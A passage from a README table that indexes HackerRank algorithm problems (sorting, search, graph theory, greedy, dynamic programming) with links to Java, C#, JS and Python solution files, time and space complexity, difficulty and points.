<ul><li>[Java](./Algorithms/Sorting/Insertion%20Sort%20-%20Part%201/Solution.java)</li><li>[C#](./Algorithms/Sorting/Insertion%20Sort%20-%20Part%201/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30 | || | | [Insertion Sort - Part 2](https://www.hackerrank.com/challenges/insertionsort2)| <ul><li>[Java](./Algorithms/Sorting/Insertion%20Sort%20-%20Part%202/Solution.java)</li><li>[C#](./Algorithms/Sorting/Insertion%20Sort%20-%20Part%202/Solution.cs)</li><ul> | _O(n^2)_ | _O(1)_ | Easy | 30 | || | | [Correctness and the Loop Invariant](https://www.hackerrank.com/challenges/correctness-invariant)| <ul><li>[Java](./Algorithms/Sorting/Correctness%20and%20the%20Loop%20Invariant/Solution.java)</li><li>[C#](./Algorithms/Sorting/Correctness%20and%20the%20Loop%20Invariant/Solution.cs)</li><ul> | _O(n^2)_ | _O(1)_ | Easy | 30 | || | | [Running Time of Algorithms](https://www.hackerrank.com/challenges/runningtime)| <ul><li>[Java](./Algorithms/Sorting/Running%20Time%20of%20Algorithms/Solution.java)</li><li>[C#](./Algorithms/Sorting/Running%20Time%20of%20Algorithms/Solution.cs)</li><ul> | _O(n^2)_ | _O(1)_ | Easy | 30 | || | | [Quicksort 1 - Partition](https://www.hackerrank.com/challenges/quicksort1)| <ul><li>[Java](./Algorithms/Sorting/Quicksort%201%20-%20Partition/Solution.java)</li><li>[C#](./Algorithms/Sorting/Quicksort%201%20-%20Partition/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 10| || | | [Quicksort 2 - Sorting](https://www.hackerrank.com/challenges/quicksort2)| <ul><li>[Java](./Algorithms/Sorting/Quicksort%202%20-%20Sorting/Solution.java)</li><li>[C#](./Algorithms/Sorting/Quicksort%202%20-%20Sorting/Solution.cs)</li><ul> | _O(n^2)_ | _O(n)_ | Easy | 30| || | | [Quicksort In-Place](https://www.hackerrank.com/challenges/quicksort3)| <ul><li>[Java](./Algorithms/Sorting/Quicksort%20In-Place/Solution.java)</li><ul> | _O(n^2)_ | _O(log(n))_ | Medium| 35| || | | [Running Time of Quicksort](https://www.hackerrank.com/challenges/quicksort4)| <ul><li>[Java](./Algorithms/Sorting/Running%20Time%20of%20Quicksort/Solution.java)</li><ul> | _O(n log(n))_ | _O(log(n))_ | Easy | 35| || | | [Counting Sort 1](https://www.hackerrank.com/challenges/countingsort1)| <ul><li>[Java](./Algorithms/Sorting/Counting%20Sort%201/Solution.java)</li><li>[C#](./Algorithms/Sorting/Counting%20Sort%201/Solution.cs)</li><ul> | _O(n+k)_ | _O(k)_ | Easy | 30| value of k in this problem is 100 || | | [Counting Sort 2](https://www.hackerrank.com/challenges/countingsort2)| <ul><li>[Java](./Algorithms/Sorting/Counting%20Sort%202/Solution.java)</li><li>[C#](./Algorithms/Sorting/Counting%20Sort%202/Solution.cs)</li><ul> | _O(n+k)_ | _O(n+k)_ | Easy | 30| Value of k is 100 in this problem. || | | [Counting Sort 3](https://www.hackerrank.com/challenges/countingsort3)| <ul><li>[Java](./Algorithms/Sorting/Counting%20Sort%203/Solution.java)</li><ul> | _O(n+k)_ | _O(k)_ | Easy | 30| || | | [The Full Counting Sort](https://www.hackerrank.com/challenges/countingsort4)| <ul><li>[Java](./Algorithms/Sorting/The%20Full%20Counting%20Sort/Solution.java)</li><li>[C#](./Algorithms/Sorting/The%20Full%20Counting%20Sort/Solution.cs)</li><ul> | _O(n+k)_ | _O(n+k)_ | Medium | 40| || | | [Closest Numbers](https://www.hackerrank.com/challenges/closest-numbers)| <ul><li>[Java](./Algorithms/Sorting/Closest%20Numbers/Solution.java)</li><li>[C#](./Algorithms/Sorting/Closest%20Numbers/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Easy | 35| || | | [Find the Median](https://www.hackerrank.com/challenges/find-the-median)| <ul><li>[Java](./Algorithms/Sorting/Find%20the%20Median/Solution.java)</li><li>[C#](./Algorithms/Sorting/Find%20the%20Median/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Easy | 35| || | | [Insertion Sort Advanced Analysis](https://www.hackerrank.com/challenges/insertion-sort)| <ul><li>Java</li></ul> | | | Advanced | 50| || | | [Fraudulent Activity Notifications](https://www.hackerrank.com/challenges/fraudulent-activity-notifications)| <ul><li>[Java](./Algorithms/Sorting/Fraudulent%20Activity%20Notifications/Solution.java)</li><ul> | _O(n^2)_ | _O(n)_ | Medium | 40| || | | [Lily's Homework](https://www.hackerrank.com/challenges/lilys-homework)| <ul><li>[Java](./Algorithms/Sorting/Lily's%20Homework/Solution.java)</li><ul> | _O(n log(n))_ | _O(n)_ | Medium | 40| || | | [Big Sorting](https://www.hackerrank.com/challenges/big-sorting)| <ul><li>[Java](./Algorithms/Sorting/Big%20Sorting/Solution.java)</li><li>[C#](./Algorithms/Sorting/Big%20Sorting/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Easy | 20| || ### Search | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Hackerland Radio Transmitters](https://www.hackerrank.com/challenges/hackerland-radio-transmitters)| <ul><li>[JS](./Algorithms/Search/Hackerland%20Radio%20Transmitters/Solution.js)</li><li>[C#](./Algorithms/Search/Hackerland%20Radio%20Transmitters/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Medium | 25 | || | | [Ice Cream Parlor](https://www.hackerrank.com/challenges/icecream-parlor)| <ul><li>[Java](./Algorithms/Search/Ice%20Cream%20Parlor/Solution.java)</li><li>[C#](./Algorithms/Search/Ice%20Cream%20Parlor/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 30 | || | | [Binary Search: Ice Cream Parlor](https://www.hackerrank.com/challenges/ctci-ice-cream-parlor)| <ul><li>[Java](./Algorithms/Search/Binary%20Search%20Ice%20Cream%20Parlor/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Easy | 35 | || | | [Gridland Metro](https://www.hackerrank.com/challenges/gridland-metro)| <ul><li>Java</li><li>[C#](./Algorithms/Search/Gridland%20Metro/Solution.cs)</li></ul> | _O(k)_ | _O(k)_ | Medium | 25 | k = number of tracks || | | [Missing Numbers](https://www.hackerrank.com/challenges/missing-numbers)| <ul><li>Java</li> <li>[C++](./Algorithms/Search/Missing%20Numbers/Solution.cpp)</li><li>[C#](./Algorithms/Search/Missing%20Numbers/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 45 | || | | [Minimum Loss](https://www.hackerrank.com/challenges/minimum-loss)| <ul><li>[Java](./Algorithms/Search/Minimum%20Loss/Solution.java)</li><ul> | _O(n log(n))_ | _O(n)_ | Medium | 35| || | | [KnightL on a Chessboard](https://www.hackerrank.com/challenges/knightl-on-chessboard)| <ul><li>Java</li></ul> | | | Medium | 35 | || | | [Pairs](https://www.hackerrank.com/challenges/pairs)| <ul><li>Java</li> <li>[C++](./Algorithms/Search/Pairs/Solution.cpp)</li><li>[C#](./Algorithms/Search/Pairs/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Medium | 50 | || | | [Sherlock and Array](https://www.hackerrank.com/challenges/sherlock-and-array)| <ul><li>Java</li> <li>[C++](./Algorithms/Search/SherlockandArray/Solution.cpp)</li><li>[C#](./Algorithms/Search/SherlockandArray/Solution.cs)</li><ul> | _O(n)_ | _O(n)_| Easy | 40 | || | | [Maximum Subarray Sum](https://www.hackerrank.com/challenges/maximum-subarray-sum)| <ul><li>Java</li></ul> | | | Hard | 65 | || | | [Connected Cells in a grid](https://www.hackerrank.com/challenges/connected-cell-in-a-grid)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Short Palindrome](https://www.hackerrank.com/challenges/short-palindrome)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Maximizing Mission Points](https://www.hackerrank.com/challenges/maximizing-mission-points)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Count Luck](https://www.hackerrank.com/challenges/count-luck)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Cut the Tree](https://www.hackerrank.com/challenges/cut-the-tree)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Making Candies](https://www.hackerrank.com/challenges/making-candies)| <ul><li>Java</li></ul> | | | Hard | 45 | || | | [Gena Playing Hanoi](https://www.hackerrank.com/challenges/gena)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Beautiful Quadruples](https://www.hackerrank.com/challenges/xor-quadruples)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Bike Racers](https://www.hackerrank.com/challenges/bike-racers)| <ul><li>Java</li></ul> | | | Hard | 65 | || | | [Task Scheduling](https://www.hackerrank.com/challenges/task-scheduling)| <ul><li>Java</li></ul> | | | Advanced | 70 | || | | [Similar Pair](https://www.hackerrank.com/challenges/similarpair)| <ul><li>Java</li></ul> | | | Advanced | 70 | || | | [Absolute Element Sums](https://www.hackerrank.com/challenges/playing-with-numbers)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Sorted Subsegments](https://www.hackerrank.com/challenges/sorted-subsegments)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Distant Pairs](https://www.hackerrank.com/challenges/distant-pairs)| <ul><li>Java</li></ul> | | | Expert | 80 | || | | [King Richard's Knights](https://www.hackerrank.com/challenges/king-richards-knights)| <ul><li>Java</li></ul> | | | Hard | 80 | || ### Graph Theory | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Roads and Libraries](https://www.hackerrank.com/challenges/torque-and-development)| <ul><li>Java</li></ul> | | | Medium | 30| || | | [Synchronous Shopping](https://www.hackerrank.com/challenges/synchronous-shopping)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Crab Graphs](https://www.hackerrank.com/challenges/crab-graphs)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Even Tree](https://www.hackerrank.com/challenges/even-tree)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Snakes and Ladders: The Quickest Way Up](https://www.hackerrank.com/challenges/the-quickest-way-up)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Subset Component](https://www.hackerrank.com/challenges/subset-component)| <ul><li>Java</li></ul> | | | Hard | 50 | || | |[Journey to the Moon](https://www.hackerrank.com/challenges/journey-to-the-moon)| <ul><li>[Java](./Algorithms/Graph%20Theory/Journey%20to%20the%20Moon/Solution.java)</li> <li>[Python3](./Algorithms/Graph%20Theory/Journey%20to%20the%20Moon/solution.py3)</li><ul> | _O(n + i)_ | _O(n)_| Medium | 50 | || | | [Kruskal (MST): Really Special Subtree](https://www.hackerrank.com/challenges/kruskalmstrsub)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [Minimum Penalty Path](https://www.hackerrank.com/challenges/beautiful-path)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Demanding Money](https://www.hackerrank.com/challenges/borrowing-money)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [The Story of a Tree](https://www.hackerrank.com/challenges/the-story-of-a-tree)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Breadth First Search: Shortest Reach](https://www.hackerrank.com/challenges/bfsshortreach)| <ul><li>Java</li></ul> | | | Medium | 55 | || | | [The Value of Friendship](https://www.hackerrank.com/challenges/value-of-friendship)| <ul><li>Java</li></ul> | | | Hard | 55 | || | | [Clique](https://www.hackerrank.com/challenges/clique)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Dijkstra: Shortest Reach 2](https://www.hackerrank.com/challenges/dijkstrashortreach)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Prim's (MST) : Special Subtree](https://www.hackerrank.com/challenges/primsmstsub)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Roads in Hackerland](https://www.hackerrank.com/challenges/johnland)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Toll Cost Digits](https://www.hackerrank.com/challenges/toll-cost-digits)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Real Estate Broker](https://www.hackerrank.com/challenges/real-estate-broker)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Matrix](https://www.hackerrank.com/challenges/matrix)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Bead Ornaments](https://www.hackerrank.com/challenges/beadornaments)| <ul><li>Java</li></ul> | | | Advanced | 70 | || | | [Rust & Murderer](https://www.hackerrank.com/challenges/mark-and-toys)| <ul><li>[Java](./Algorithms/Graph%20Theory/Rust%20&%20Murderer/Solution.java)</li><ul> | _O(n+m)_ | _O(n)_| Medium | 70 | || | | [Recording Episodes](https://www.hackerrank.com/challenges/episode-recording)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Kingdom Connectivity](https://www.hackerrank.com/challenges/kingdom-connectivity)| <ul><li>Java</li></ul> | | | Hard | 75 | || | | [Journey Scheduling](https://www.hackerrank.com/challenges/journey-scheduling)| <ul><li>Java</li></ul> | | | Hard | 75 | || | | [Floyd : City of Blinding Lights](https://www.hackerrank.com/challenges/floyd-city-of-blinding-lights)| <ul><li>Java</li></ul> | | | Hard | 75 | || | | [Find the Path](https://www.hackerrank.com/challenges/shortest-path)| <ul><li>Java</li></ul> | | | Hard | 75 | || | | [Repair Roads](https://www.hackerrank.com/challenges/repair-roads)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Problem solving](https://www.hackerrank.com/challenges/problem-solving)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Computer Game](https://www.hackerrank.com/challenges/computer-game)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Jack goes to Rapture](https://www.hackerrank.com/challenges/jack-goes-to-rapture)| <ul><li>Java</li></ul> | | | Medium | 80 | || | | [Jim and his LAN Party](https://www.hackerrank.com/challenges/jim-and-his-lan-party)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Jeanie's Route](https://www.hackerrank.com/challenges/jeanies-route)| <ul><li>Java</li></ul> | | | Medium | 80 | || | | [Travel in HackerLand](https://www.hackerrank.com/challenges/travel-in-hackerland)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Jogging Cats](https://www.hackerrank.com/challenges/cat-jogging)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Tree Flow](https://www.hackerrank.com/challenges/tree-flow)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Tripartite Matching](https://www.hackerrank.com/challenges/tripartite-matching)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Jumping Rooks](https://www.hackerrank.com/challenges/jumping-rooks)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Minimum MST Graph](https://www.hackerrank.com/challenges/minimum-mst-graph)| <ul><li>Java</li></ul> | | | Expert | 80 | || | | [Coprime Paths](https://www.hackerrank.com/challenges/coprime-paths)| <ul><li>Java</li></ul> | | | Expert | 80 | || | | [DAG Queries](https://www.hackerrank.com/challenges/dag-queries)| <ul><li>Java</li></ul> | | | Expert | 80 | || | | [Liars](https://www.hackerrank.com/challenges/liars)| <ul><li>Java</li></ul> | | | Advanced | 85 | || | | [ByteLandianTours](https://www.hackerrank.com/challenges/bytelandian-tours)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Kth Ancestor](https://www.hackerrank.com/challenges/kth-ancestor)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Drive](https://www.hackerrank.com/challenges/drive)| <ul><li>Java</li></ul> | | | Expert | 90 | || | | [Road Network](https://www.hackerrank.com/challenges/road-network)| <ul><li>Java</li></ul> | | | Expert | 90 | || | | [Savita And Friends](https://www.hackerrank.com/challenges/savita-and-friends)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Favorite sequence](https://www.hackerrank.com/challenges/favourite-sequence)| <ul><li>Java</li></ul> | | | Advanced | 95 | || | | [Quadrant Queries](https://www.hackerrank.com/challenges/quadrant-queries)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Going to the Office](https://www.hackerrank.com/challenges/going-office)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Ticket](https://www.hackerrank.com/challenges/ticket)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [HackerX](https://www.hackerrank.com/challenges/missile-defend)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Hacker Country](https://www.hackerrank.com/challenges/hacker-country)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Travelling Salesman in a Grid](https://www.hackerrank.com/challenges/tsp-grid)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Huarongdao](https://www.hackerrank.com/challenges/huarongdao)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Vertical Paths](https://www.hackerrank.com/challenges/vertical-paths)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [DFS Edges](https://www.hackerrank.com/challenges/dfs-edges)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Tree Splitting](https://www.hackerrank.com/challenges/tree-splitting)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Definite Random Walks](https://www.hackerrank.com/challenges/definite-random-walks)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Diameter Minimization](https://www.hackerrank.com/challenges/diameter-minimization)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Training the army](https://www.hackerrank.com/challenges/training-the-army)| <ul><li>Java</li></ul> | | | Hard | 120 | || | | [Alex vs Fedor](https://www.hackerrank.com/challenges/alex-vs-fedor)| <ul><li>Java</li></ul> | | | Expert | 150 | || ### Greedy | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Minimum Absolute Difference in an Array](https://www.hackerrank.com/challenges/minimum-absolute-difference-in-an-array)| <ul><li>[Java](./Algorithms/Greedy/Minimum%20Absolute%20Difference%20in%20an%20Array/Solution.java)</li> <li>[JS](./Algorithms/Greedy/Minimum%20Absolute%20Difference%20in%20an%20Array/Solution.js)</li><li>[C#](./Algorithms/Greedy/Minimum%20Absolute%20Difference%20in%20an%20Array/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Easy | 15| || | |[Chief Hopper](https://www.hackerrank.com/challenges/chief-hopper)| <ul><li>[Java](./Algorithms/Greedy/Chief%20Hopper/Solution.java)</li><ul> | _O(n)_ | _O(n)_| Hard | 65 | || | |[Mark and Toys](https://www.hackerrank.com/challenges/mark-and-toys)| <ul><li>[Java](./Algorithms/Greedy/Mark%20and%20Toys/Solution.java)</li> <li>[JS](./Algorithms/Greedy/Mark%20and%20Toys/Solution.js)</li><ul> | _O(n log(n))_ | _O(n)_| Easy | 35 | || | | [Marc's Cakewalk](https://www.hackerrank.com/challenges/marcs-cakewalk)| <ul><li>[Java](./Algorithms/Greedy/Marc's%20Cakewalk/Solution.java)</li><li>[C#](./Algorithms/Greedy/Marc's%20Cakewalk/Solution.cs)</li><ul> | _O(n + k)_ | _O(k)_ | Easy | 15| || | |[Grid Challenge](https://www.hackerrank.com/challenges/grid-challenge)| <ul><li>[Java](./Algorithms/Greedy/Grid%20Challenge/Solution.java)</li><ul> | _O(n*(n log (n)))_ | _O(n^2)_| Easy | 20 | || | |[Luck Balance](https://www.hackerrank.com/challenges/luck-balance)| <ul><li>[Java](./Algorithms/Greedy/Luck%20Balance/Solution.java)</li><ul> | _O(n log(n))_ | _O(1)_ | Easy | 20| || | |[Maximum Perimeter Triangle](https://www.hackerrank.com/challenges/maximum-perimeter-triangle)| <ul><li>[Java](./Algorithms/Greedy/Maximum%20Perimeter%20Triangle/Solution.java)</li><ul> | _O(n log (n))_ | _O(n)_| Easy | 20 | || | |[Permuting Two Arrays](https://www.hackerrank.com/challenges/two-arrays)| <ul><li>[Java](./Algorithms/Greedy/Permuting%20Two%20Arrays/Solution.java)</li> <li>[JS](./Algorithms/Greedy/Permuting%20Two%20Arrays/Solution.js)</li><ul> | _O(n log (n))_ | _O(n)_| Easy | 40 | || | |[Jim and the Orders](https://www.hackerrank.com/challenges/jim-and-the-orders)| <ul><li>[Java](./Algorithms/Greedy/Jim%20and%20the%20Orders/Solution.java)</li><ul> | _O(n log (n))_ | _O(n)_| Easy | 40 | || | |[Equal Stacks](https://www.hackerrank.com/challenges/equal-stacks)| <ul><li>[Java](./Algorithms/Greedy/Equal%20Stacks/Solution.java)</li><ul> | _O(n)_ | _O(n)_| Easy | 25 | || | |[Sherlock and The Beast](https://www.hackerrank.com/challenges/sherlock-and-the-beast)| <ul><li>[Java](./Algorithms/Greedy/Sherlock%20and%20The%20Beast/Solution.java)</li><ul> | _O(n)_ | _O(n)_| Easy | 30 | || | |[Priyanka and Toys](https://www.hackerrank.com/challenges/priyanka-and-toys)| <ul><li>[Java](./Algorithms/Greedy/Priyanka%20and%20Toys/Solution.java)</li> <li>[JS](./Algorithms/Greedy/Priyanka%20and%20Toys/Solution.js)</li><ul> | _O(n log(n))_ | _O(n)_| Easy | 30 | || | |[Largest Permutation](https://www.hackerrank.com/challenges/largest-permutation)| <ul><li>[JS](./Algorithms/Greedy/Largest%20Permutation/Solution.js)</li><ul> | _O(n)_ | _O(n)_ | Easy | 30| || | | [Beautiful Pairs](https://www.hackerrank.com/challenges/beautiful-pairs)| <ul><li>Java</li></ul> | | | Easy | 30| || | | [Yet Another Minimax Problem](https://www.hackerrank.com/challenges/yet-another-minimax-problem)| <ul><li>Java</li></ul> | | | Medium | 20| || | | [Flipping the Matrix](https://www.hackerrank.com/challenges/flipping-the-matrix)| <ul><li>[Java](./Algorithms/Constructve%20Algorithms/Flipping%20Matrix/Solution.java)</li><ul> | _O(n^2)_ | _O(n^2)_ | Medium | 30 | || | | [Roads and Libraries](https://www.hackerrank.com/challenges/torque-and-development)| <ul><li>Java</li></ul> | | | Medium | 30| || | |[Greedy Florist](https://www.hackerrank.com/challenges/greedy-florist)| <ul><li>[JS](./Algorithms/Greedy/Greedy%20Florist/Solution.js)</li><ul> | _O(n log (n))_ | _O(n)_| Medium | 35 | || | |[Mark and Toys](https://www.hackerrank.com/challenges/mark-and-toys)| <ul><li>[Java](./Algorithms/Greedy/Mark%20and%20Toys/Solution.java)</li><ul> | _O(n log(n))_ | _O(n)_| Easy | 35 | || | | [Max Min](https://www.hackerrank.com/challenges/angry-children)| <ul><li>[Java](./Algorithms/Greedy/Max%20Min/Solution.java)</li><ul> | _O(n log(n))_ | _O(1)_ | Medium | 35| || | | [Permuting Two Arrays](https://www.hackerrank.com/challenges/two-arrays)| <ul><li>Java</li></ul> | | | Easy | 40| || | | [Jim and the Orders](https://www.hackerrank.com/challenges/jim-and-the-orders)| <ul><li>Java</li></ul> | | | Easy | 40| || | | [Goodland Electricity](https://www.hackerrank.com/challenges/pylons)| <ul><li>Java</li></ul> | | | Medium | 40| || | | [Fun Game](https://www.hackerrank.com/challenges/fun-game-1)| <ul><li>Java</li></ul> | | | Medium | 40| || | | [Reverse Shuffle Merge](https://www.hackerrank.com/challenges/reverse-shuffle-merge)| <ul><li>Java</li></ul> | | | Advanced | 50| || | | [Cutting Boards](https://www.hackerrank.com/challenges/board-cutting)| <ul><li>Java</li></ul> | | | Hard | 60| || | | [Algorithmic Crush](https://www.hackerrank.com/challenges/crush)| <ul><li>Java</li></ul> | | | Hard | 60| || | | [Prim's (MST): Special Subtree](https://www.hackerrank.com/challenges/primsmstsub)| <ul><li>Java</li></ul> | | | Medium | 60| || | | [Accessory Collection](https://www.hackerrank.com/challenges/accessory-collection)| <ul><li>Java</li></ul> | | | Hard | 60| || | |[Chief Hopper](https://www.hackerrank.com/challenges/rust-murderer)| <ul><li>[Java](./Algorithms/Greedy/Chief%20Hopper/Solution.java)</li><ul> | _O(n)_ | _O(n)_| Hard | 65 | || | | [Sherlock and MiniMax](https://www.hackerrank.com/challenges/sherlock-and-minimax)| <ul><li>Java</li></ul> | | | Hard | 70| || | | [Team Formation](https://www.hackerrank.com/challenges/team-formation)| <ul><li>Java</li></ul> | | | Advanced | 70| || ### Dynamic Programming | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Equal](https://www.hackerrank.com/challenges/equal)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Cut Tree](https://www.hackerrank.com/challenges/cuttree)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Mr K marsh](https://www.hackerrank.com/challenges/mr-k-marsh)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Sam and sub-strings](https://www.hackerrank.com/challenges/sam-and-substrings)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Summing Pieces](https://www.hackerrank.com/challenges/summing-pieces)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Short Palindrome](https://www.hackerrank.com/challenges/short-palindrome)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Abbreviation](https://www.hackerrank.com/challenges/abbr)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Fair Cut](https://www.hackerrank.com/challenges/fair-cut)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Fibonacci Modified](https://www.hackerrank.com/challenges/fibonacci-modified)| <ul><li>[Java](./Algorithms/Dynamic%20Programming/Modified%20Fibonacci/Solution.java)</li><ul> | | | Medium | 45 | || | | [Lego Blocks](https://www.hackerrank.com/challenges/lego-blocks)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Candies](https://www.hackerrank.com/challenges/candies)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Stock Maximize](https://www.hackerrank.com/challenges/stockmax)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Angry Childtren 2](https://www.hackerrank.com/challenges/angry-children-2)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [The Maximum Subarray](https://www.hackerrank.com/challenges/maxsubarray)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Sherlock and Cost](https://www.hackerrank.com/challenges/sherlock-and-cost)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Xor and Sum](https://www.hackerrank.com/challenges/xor-and-sum)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Counting Special Sub-Cubes](https://www.hackerrank.com/challenges/counting-special-sub-cubes)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Two Robots](https://www.hackerrank.com/challenges/two-robots)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Kingdom Division](https://www.hackerrank.com/challenges/kingdom-division)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Prime XOR](https://www.hackerrank.com/challenges/prime-xor)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [HackerRank City](https://www.hackerrank.com/challenges/hr-city)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Nikita and the Game](https://www.hackerrank.com/challenges/array-splitting)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Prime Digit Sums](https://www.hackerrank.com/challenges/prime-digit-sums)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Mandragora Forest](https://www.hackerrank.com/challenges/mandragora)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [LCS Returns](https://www.hackerrank.com/challenges/tutzki-and-lcs)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Grid Walking](https://www.hackerrank.com/challenges/grid-walking)| <ul><li>Java</li></ul> | | | Medium | 55 | || | | [Bricks Game](https://www.hackerrank.com/challenges/play-game)| <ul><li>Java</li></ul> | | | Medium | 55 | || | | [The Longest Common Subsequence](https://www.hackerrank.com/challenges/dynamic-programming-classics-the-longest-common-subsequence)| <ul><li>Java</li></ul> | | | Medium | 55 | || | | [Substring Diff](https://www.hackerrank.com/challenges/substring-diff)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Brick Tiling](https://www.hackerrank.com/challenges/brick-tiling)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Alien Languages](https://www.hackerrank.com/challenges/alien-languages)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [The Longest Increasing Subsequence](https://www.hackerrank.com/challenges/longest-increasing-subsequent)| <ul><li>Java</li></ul> | | | Advanced | 60 | || | | [The Coin Change Problem](https://www.hackerrank.com/challenges/coin-change)| <ul><li>[Python3](./Algorithms/Dynamic%20Programming/The%20Coin%20Change%20Problem/solution.py)</li><ul> | _O(N*M)_ | _O(N)_| Hard | 60 | || | | [Knapsack](https://www.hackerrank.com/challenges/unbounded-knapsack)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Sherlock's Array Merging Algorithm](https://www.hackerrank.com/challenges/sherlocks-array-merging-algorithm)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [New Year Game](https://www.hackerrank.com/challenges/newyear-game)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Shashank and the Palindromic Strings](https://www.hackerrank.com/challenges/shashank-and-palindromic-strings)| <ul><li>Java</li></ul> | | | Advanced | 60 | || | | [Decibinary Numbers](https://www.hackerrank.com/challenges/decibinary-numbers)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Choosing White Balls](https://www.hackerrank.com/challenges/choosing-white-balls)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [DP: Coin Change](https://www.hackerrank.com/challenges/ctci-coin-change)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Clues on a Binary Path](https://www.hackerrank.com/challenges/clues-on-a-binary-path)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [GCD Matrix](https://www.hackerrank.com/challenges/gcd-matrix)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Coin on the Table](https://www.hackerrank.com/challenges/coin-on-the-table)| <ul><li>Java</li></ul> | | | Medium | 65 | || | | [Interval Selection](https://www.hackerrank.com/challenges/interval-selection)| 